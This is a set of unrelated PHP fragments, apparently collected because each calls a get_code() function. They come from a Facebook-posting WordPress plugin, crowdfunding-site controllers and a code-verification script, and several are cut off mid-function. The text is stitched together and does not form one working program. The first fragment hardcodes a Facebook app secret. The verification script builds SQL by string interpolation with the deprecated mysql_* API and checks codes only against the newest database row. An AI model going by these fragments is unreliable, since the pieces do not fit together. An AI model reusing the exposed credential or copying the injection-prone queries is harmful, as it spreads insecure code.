// http://www.facebook.com/developers/apps.php?app_id=264530743602 -- application // http://www.facebook.com/apps/application.php?id=264530743602&sk=wall -- the Wall // application settings $redirect_url = 'http://cartoonbank.ru/wp-content/plugins/fb-post-ales/'; $app_id = '264530743602'; //“YOUR_APP_ID”; Cartoonist.name app $app_id_target = '264530743602'; // cartoonbank http://www.facebook.com/profile.php?id=100001929470986 //$app_id_target = '100001929470986'; // cartoonbank http://www.facebook.com/profile.php?id=100001929470986 $app_secret = '05e24c30ac95a33d726f6d087c3c00f4'; //"YOUR_APP_SECRET"; $theMessage = 'taDA'; global $cartoon_id, $cartoon_name, $cartoon_description, $cartoon_additional_description, $cartoon_image, $cartoon_kategoria, $cartoon_brand; // 1 $theCode = get_code(); //ee($theCode,"theCode"); // 2 $theAccessToken = get_token($theCode); //ee($theAccessToken, "theAccessToken2"); // 3 $post_id = '11735'; $result = make_post($post_id); function fw($text) { $fp = fopen('_kloplog.htm', 'w'); fwrite($fp, '<br />'); fwrite($fp, $text); fclose($fp); } function read_code()
public function addstep5() { $id = $_GET['id']; $project = $this->can_edit($id); $where = array('project_id' => $id); if (IS_POST) { $uid = is_login(); // 融资信息 $fund = $_POST['fund']; $model = D('ProjectFund'); $fund = D('ProjectFund')->create($fund); if (!$fund) { $this->error($model->getError()); } if (!$model->checkFund($fund, $project['type'])) { $this->error($model->getError()); } $fund['project_id'] = $id; $fund['update_time'] = NOW_TIME; $fund['update_id'] = $uid; $f = M('ProjectFund')->where($where)->find(); if ($f) { $fund['id'] = $f['id']; M('ProjectFund')->save($fund); } else { $fund['create_time'] = NOW_TIME; $fund['create_id'] = $uid; M('ProjectFund')->add($fund); } if (!$id) { // 操作失败 显示错误信息 $this->error('项目添加失败。'); } else { //$url = U('Manage/foundlist', array('id'=>$id)); // 成功返回项目id //$this->success('恭喜您项目!', $url); $this->success('处理成功', U('addstep6', array('id' => $id))); } } else { $this->fund = M('ProjectFund')->where($where)->find(); $this->to_way = get_code('to_way'); $this->project_id = $id; $this->display(); } }
function is_succ_pack($data) { return $data['code'] == get_code('SUCC'); }
<?php include_once 'db.php'; //$ajax = !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']); //if ( !isset($_POST['getData']) || !$ajax) return false; $id = get_user_id(); $code = get_code(); $input = $_POST['code']; if ($input == $code) { update_column('verified', 1); echo '01'; } else { echo '-1'; } function get_code() { global $id; $sql = "SELECT * FROM startups WHERE id ='{$id}'"; $query = mysql_query($sql) or die(mysql_error()); $data = mysql_fetch_assoc($query); return $data['code']; } function get_user_id() { $sql = "SELECT * FROM startups ORDER BY id DESC LIMIT 1"; $query = mysql_query($sql) or die(mysql_error()); $data = mysql_fetch_assoc($query); return $data['id']; } function update_column($column, $value) {
public function applyLead() { $id = $_GET['id']; if (IS_POST) { $investor_status = I('capacity'); $describe = I('describe'); //获取user_auth对应的key $authid = 3; $auth = M('user_auth')->where(array('uid' => $id, 'auth_id' => $authid))->find(); $date['id'] = $id; $date['is_investor'] = $investor_status; $userauth['id'] = $auth['id']; if ($investor_status == 3) { $msg = '审核通过'; $userauth['status'] = 9; } else { $msg = '审核拒绝'; $date['investor_content'] = $describe; $userauth['info'] = $describe; $userauth['status'] = 1; } M('Users')->save($date); //更新user_auth M('user_auth')->save($userauth); $this->success($msg, U('index')); } else { $data = M('UsersDetail')->find($id); $this->industry = get_code('industry'); $this->user = M('Users')->find($id); $this->data = $data; $this->display('applylead'); } }
public function applylead() { $id = is_login(); if (!$id) { $this->error('您还没有登录,请先登录。', U('User/login')); return; } if (IS_POST) { $focus = $_POST['focus']; if (empty($focus)) { $this->error('请选择您感兴趣的领投领域。'); } if (empty($_POST['resume'])) { $this->error('请完善您的个人简介。'); } //领投资格 $ret = M('user_auth')->where(array('uid' => $id, 'auth_id' => 1, 'status' => 9))->find(); if (!$ret) { $this->error('您还没有进行实名认证,不能申请领投人。请先进行实名认证。', U('User/savecenter')); } $data = array('resume' => $_POST['resume'], 'focus' => arr2str($focus), 'id' => $id); M('UsersDetail')->save($data); //保存用户类别 $auth_id = 3; $ret = M('user_auth')->where(array('uid' => $id, 'auth_id' => $auth_id))->find(); if (!$ret) { $data = array('uid' => $id, 'auth_id' => $auth_id); M('user_auth')->add($data); } else { if ($ret['status'] != 9) { $ret['status'] = 0; M('user_auth')->save($ret); } } $this->success('领投信息提交成功!'); } else { $userdetail = M('UsersDetail')->find($id); $userauth = M('user_auth')->where(array('uid' => $id, 'auth_id' => 3))->find(); if ($userauth['status'] == '1') { $describe = M('Users')->field('investor_content')->find($id); $this->describe = $describe['investor_content']; } $this->industry = get_code('industry'); $this->userdetail = $userdetail; $this->userauth = $userauth; $this->display('applylead'); } }
public function afterIndex() { return data_pack(get_code('SUCC'), null, $this->data['origin']); }
public function edit($id, $step) { if (empty($id)) { $this->error('此项目不存在'); } $projectBase = M('Project')->where(array('id' => $id))->find(); $projectBase['industryName'] = get_code_name($projectBase['industry']); // var_dump($projectBase);exit(); if (empty($projectBase)) { $this->error('此项目不存在'); } $this->projectid = $id; switch ($step) { case 1: //editBaseInfo $projectBase['stepname'] = $projectBase['step']; $this->assign($projectBase); $this->industry = get_code('industry'); $this->project_phase_list = get_code('project_phase'); $this->step = get_code('step'); $this->display('edit_step1'); break; case 2: // editIntroduce $projectInfo = M('ProjectInfo')->where(array('project_id' => $id))->find(); $event = M('ProjectEvent')->where(array('project_id' => $id))->select(); $this->assign($projectInfo); $this->assign('event', $event); $this->display('edit_step2'); break; case 3: // editTeam $projectTeam = M('ProjectTeam')->where(array('project_id' => $id, 'status' => array('egt', 0)))->order('sort asc,create_time')->select(); $this->assign('team', $projectTeam); $this->display('edit_step3'); break; case 4: // editDatum $temp = M('ProjectTemp')->where(array('project_id' => $id))->order('temp_type, sort')->select(); $temp_move = null; foreach ($temp as $key => $v) { if ($v['temp_type'] == 0) { $temp_move = $v['describe']; unset($temp[$key]); break; } } $this->temp = $temp; $this->temp_move = $temp_move; $this->display('edit_step4'); break; case 5: $this->fund = M('ProjectFund')->where(array('project_id' => $id))->find(); $to_way = get_code('to_way'); $this->to_way = get_code('to_way'); $this->display('edit_step5'); break; } // $this->display(); }